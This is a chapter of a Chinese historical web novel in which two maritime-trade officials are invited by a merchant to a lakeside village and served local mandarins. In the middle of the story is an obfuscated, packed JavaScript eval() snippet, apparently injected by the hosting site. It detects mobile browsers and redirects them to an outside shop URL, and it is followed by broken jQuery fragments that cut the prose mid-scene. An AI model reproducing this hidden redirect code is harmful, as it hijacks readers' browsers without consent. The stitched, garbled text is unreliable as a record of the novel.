李灵钥皱着眉：“署提举，这事只怕还不算完结。”


    霍啸雨轻嗤：“他还能如何？你不必理会他，他来寻你，你便让他来寻我便好。我可没你的好脾性。他不带上两名通译来，我都不会见他。反正我听不懂他的话，他也听不懂我的话，正好不必往来。”


    李灵钥：“谢氏宗族这些年一直靠他敛财，如今这条路行不通了，便要另辟蹊径了。”


    霍啸雨：“异国客商的首领都已定下，告示都张贴了，你就别担心了。杂事交给你家大人及市舶司来担当吧。与市舶司不相干的事，更不必理会。下午我们去瓦舍听戏吧。”


    李灵钥：“署提举听得懂广府的戏文了？”


    霍啸雨：“听不懂归听不懂，但咱们可以去细看傀儡戏的傀儡，欣赏戏子身上的戏服头面。此间的戏服金碧辉煌，很是好看。我让靳松云他们换些铜钱与散碎银子，方便咱们打赏。”


    李灵钥看着他，他修长的手指在桌面上轻敲了两记：“用散铜钱与碎银子打赏是不是太过吝啬？干脆换些小银锞子，到时你开心了就往戏台上扔……”


    李灵钥吓了一跳，连忙拦阻：“不必不必。我，我从前没去过瓦舍，不知其中的情形。我娘亲也不准我去瓦舍。署提举不是要采买上好的异国货品？不如我们到各家商铺去仔细看一看，此间有许多商铺的奇异货品我们都没见过，正好去看了看。此间的商铺内多有克力士剑那样奇异的好物件，正好去搜罗一番。”


    霍啸雨想了想：“也好。此时天高气爽，走在城中倒也舒适。若有你喜欢的物件，我赠你。”


    李灵钥愣了，正在思索如何推托，忽听有人说道：“二位尊客请了。”


    李灵钥与霍啸雨一同向声音来处看去，雅间门外立了名中年男子，身着青布夹衣，头顶方巾。


    这人面色微黄，狮鼻阔口，生得面貌粗豪，话声却很是斯文。


    且这人说的是大周北方官话，虽有着岭南音韵，却也说得甚是分明。


    这人对着霍啸雨行了个礼：“小人姓吴，草字万春。见过署提举大人。”


    他直起身来看着李灵钥：“这位小哥儿，应当是异国客商都口口相传的通译曜，听闻曜乃是李副提举家的小公子，我很想见一见，没想到在此间见到了，失敬失敬。”


    他对李灵钥也行了个礼，李灵钥起身还礼：“请先生恕我眼拙，没认出先生来。先生与署提举大人相熟？”


    吴万春笑了：“小人早想拜见署提举大人，一直没有好时机。不承想今日在此间与人谈事，一抬头看到了二位。小人与署提举和李小公子曾远远地见过一面，没能说话也未能相识。小人曾随着我吴村的族长与李副提举和市舶司的另几位大人同桌用过饭，那回署提举与李小公子都未同去，因而缘吝一面。在此间遇上，这可是天大的缘分，因此特来拜见。”


    他对着霍啸雨拱手：“署提举与李小公子在此间饮茶，是图个清静。小人前来扰了二位的清静，但与二位相遇需要时机，小人也顾不得这许多，还请二位见谅。”


    霍啸雨：“吴先生有事？”


    吴万春笑道：“小人想着相请不如偶遇，有心请二位到我们吴村去坐一坐。这时正是广府最为清凉的时节，二位可到我们村中去散散心。二位别担心，若有紧急公务，小人会安排车马送二位回市舶司。”


    “我们村中也有一面湖泊，比这湖还大些，这些日子刚收了鲜藕，湖面很是宁静，可以一观。请二位给小人几分薄面去坐上一坐，饮一盏茶。”


    这吴万春说曾与市舶司众人一同用过饭，但李灵钥没见过他，应是当日市舶司建营房，他跟随吴氏宗族前来宴请过。


    那时广府各姓每日都候在市舶司营房外，市舶司众人一出来便围上来。


    霍啸雨脾气执拗不理会别人拉扯，更不卖这个面子，几乎不曾去过。


    他还将李灵钥也带了一同离开：“别去，咱们自去用饭，不跟他们一道。”


    因他还有靳松云等侍卫，别人拉不着他和李灵钥，只有李良宏等人被围住不得脱身，只能随了前去。


    那些日子都在各姓宗族处用晚饭，用过饭后方才返家。


    李灵钥在心中猜测吴万春请他们前去要说何事。


    霍啸雨已小声说道：“左右咱们今日无事，不如去玩一回？”


    李灵钥看向他，霍啸雨：“他都认出你我了，特来相请，咱们便去吧。左右咱们也用过饭了，就当去散散心。”


    他对着吴万春：“我们前去贵村，不打扰么？”


    吴万春一听这话，知晓霍啸雨愿意前去，顿时喜笑颜开：“二位肯去，实乃是小人的好运气，也是吴村的福气，怎会打扰？”


    吴万春对着霍啸雨和李灵钥又拱了拱手：“小人这便去安顿一回，二位且慢慢起身。”


    何云生早已得了霍啸雨的示意，先会过了账，且不许掌柜退回。


    吴万春只能会了他的账，让人赶了马车来。


    霍啸雨与李灵钥起身，一同步下酒楼。


    自霍啸雨说要动身，靳松云等人便已起身将他们的马匹牵到了茶楼正门外等候。


    吴万春乘马车前来，他的随从已赶了马车来到。


    看着李灵钥与霍啸雨上了马，吴万春即刻分派他的伙计赶着马车先回村报信，他则跟靳松云等人步行，引着众人向吴村而来。


    吴万春到底是行商，口才甚好，也不拘谨，一路上与靳松云等说得开心。


    向北走了数里，已有数辆马车迎面而来。


    吴万春止住脚步，对着李灵钥与霍啸雨行礼：“吴村距此还远，因此小人让他们回村赶了马车前来，大人的侍卫脚力强健，但了乘马车能早些去到，也不那样疲累。”


    因霍啸雨今日是带了李灵钥一同饮茶，靳松云等便没骑马，而是在马旁跟随。


    清泉也跟在他们身边。


    这时清泉已走得吃力，只是她没露出来，但李灵钥知晓她已极是疲累，忽然听吴万春说来了马车，顿时松了口气：“靳哥哥他们也走得辛苦，幸而吴先生思虑周全。”


    一行人止住脚步，不多时，马车来到。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127791|177752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赶车的车夫对着吴万春拱手，吴万春微笑着：“署提举大人与李小公子可也要上马车歇一歇？”


    霍啸雨小声问李灵钥：“你可觉累？”


    李灵钥摇头，“不累。”


    他便对吴万春：“我们就骑马跟随马车同行。”


    吴万春连忙请靳松云等人坐入马车中，他则坐在了赶车位旁，赶车的车夫赶着马车就走。


    吴村距广府城不近，车夫赶着马车，李灵钥和霍啸雨策马跟随都走了一个时辰。


    若是自他们喝茶的茶楼行来，清泉早便走不动了。


    还在马背上，李灵钥便见路边立着几条汉子。


    吴万春对他们笑道：“前方便是我们吴村的地界了，那是我们吴氏宗族的族长。族长听闻署提举大驾光临，便到此间来等候。”


    李灵钥见了这阵势，听了这话，抿着嘴对霍啸雨一笑。


    霍啸雨瞅了她一眼，做了个凶相：“小坏人，你这样笑，我可觉得不是好事。”


    吴氏宗族的族长迎上来，对霍啸雨和李灵钥行了个礼：“署提举光降吴村，吴村上下甚是欢喜。请恕在下是仓促得知二位来到，未能远迎。”


    吴万春下了马车：“署提举，李小公子，这位便是我吴姓宗族的族长。族长对二位也是久闻大名，一直想邀请二位来玩耍一回，却总是没能如愿。”


    吴氏宗族的族长名唤吴安富，他在前方引着车马进入吴村。


    吴村果真有面湖泊，湖边也修得有凉亭，凉亭内的早已摆设了桌椅，凉亭各面都挂了细竹帘。


    吴安富：“上回我在城中宴请，没能请到署提举大人，深以为憾，没想到今日这样巧，署提举居然能到此间来饮茶，也算我全了心意。现下已是冬季，此间风凉，因此我挂了竹帘。我知晓署提举乃是北方人氏，若二位觉得气闷，我便让人将竹帘收了。”


    凉亭外也摆放了方桌，四周布了圈椅。


    霍啸雨与李灵钥在凉亭内坐下，清泉等一干人就在凉亭外就座。


    村中人托着托盘进来，送来的是蜜柑柚子等鲜果。


    吴万春微笑：“我想着二位才饮过茶，因此让村中备些时令果子，请二位品尝。”


    吴安富：“从前我们村的柑肉半酸带涩还很粗，我们都不吃，多用于喂养鸡鸭。后来京城有位农稼高人来此，亲手嫁接培育了如今的甜柑，吴村才有了这甜蜜、绝无一丝酸涩的蜜柑。有十数年我们的蜜柑都是要进贡京城的，才被唤为贡柑。”


    吴万春：“这蜜柑为我们吴村独有，虽只是枚果子，但广府别地的蜜某都没我们的好，因此价也不低，送到京城更是价值不菲。这果子是在秋冬才有，而这时节船只往北花费的时刻太久，送到了也会坏去许多。京城左近种出蜜柑后，才不必再进贡。但也有京城的大人喜欢我们的蜜柑，年年都会来信订下，采收后我们便送去。”


    吴安富对她微笑：“我很想见一见署提举与李小公子，我早便听说过二位，知晓二位都极是心善。而李小公子在异国客商中真是赫赫有名，今日终于见到了。”